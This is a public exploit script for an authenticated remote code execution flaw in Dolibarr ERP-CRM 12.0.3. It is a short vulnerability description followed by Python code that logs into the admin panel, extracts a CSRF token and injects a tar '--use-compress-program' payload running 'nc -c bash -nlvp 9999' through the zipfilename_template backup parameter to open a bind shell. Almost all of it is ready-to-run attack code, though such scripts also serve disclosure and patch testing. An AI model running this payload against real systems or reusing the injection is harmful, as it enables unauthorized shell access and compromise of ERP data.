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Dolibarr ERP-CRM 12.0.3 - Remote Code Execution (Authenticated)

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# Exploit Title: Dolibarr ERP-CRM 12.0.3 - Remote Code Execution (Authenticated)
# Date: 2020.12.17
# Exploit Author: Yilmaz Degirmenci
# Vendor Homepage: https://github.com/Dolibarr/dolibarr
# Software Link: https://sourceforge.net/projects/dolibarr/
# Version: 12.0.3
# Tested on: Kali Linux 2020.2

# Vulnerability Description: Open source ERP-CRM Dolibarr 12.0.3 is
# vulnerable to authenticated Remote Code Execution Attack. An attacker who
# has the access the admin dashboard can manipulate the backup function by
# inserting payload into the zipfilename_template parameter at page
# /admin/tools/dolibarr_export.php by clicking on the button "Generate
# Backup" thus triggering command injection on target system.

import requests
from bs4 import BeautifulSoup
from bs4 import Comment
import re
import lxml
import json
import urllib

username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.0.15/ --> ")

print("Exploit is sent! Check out if the bind shell on port 9999 active!")

listener_port = "9999"

login_url = root_url + "/index.php?mainmenu=home "
vulnerable_url = root_url + "/admin/tools/dolibarr_export.php"
upload_url = root_url + "/admin/tools/export_files.php"

session = requests.Session()
request = session.get(login_url)

# Get the token value
soup = BeautifulSoup(request.text,"lxml")
token = soup.find("input",{'name':'token'})['value']

# Login
body = {"token":token, "actionlogin":"login",
"loginfunction":"loginfunction", "tz":"-5",
"tz_string":"America%2FNew_York", "dst_observed":"1",
"dst_first":"2020-03-8T01%3A59%3A00Z", "dst_second":
"2020-11-1T01%3A59%3A00Z", "screenwidth":"1668", "screenheight":"664",
"dol_hide_topmenu":"", "dol_hide_leftmenu":"",
"dol_optimize_smallscreen":"", "dol_no_mouse_hover":"",
"dol_use_jmobile":"", "username":username,"password":password}

session.post(login_url, data=body, cookies=request.cookies)

request = session.get(vulnerable_url)
token = soup.find("input",{'name':'token'})['value']

header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"Origin": root_url,
"Referer":
root_url+"/admin/tools/dolibarr_export.php?mainmenu=home&leftmenu=admintools",
"Upgrade-Insecure-Requests": "1"
}

body = {"token":token, "export_type":"server", "page_y":"1039",
"zipfilename_template":"documents_dolibarr_12.0.3_202012160422.tar
--use-compress-program='nc -c bash -nlvp  9999' %0a  :: ",
"compression":"gz"}

param = urllib.parse.urlencode(body, quote_via=urllib.parse.quote)

session.post(upload_url, data=body, params=param, cookies=request.cookies, headers=header)
            
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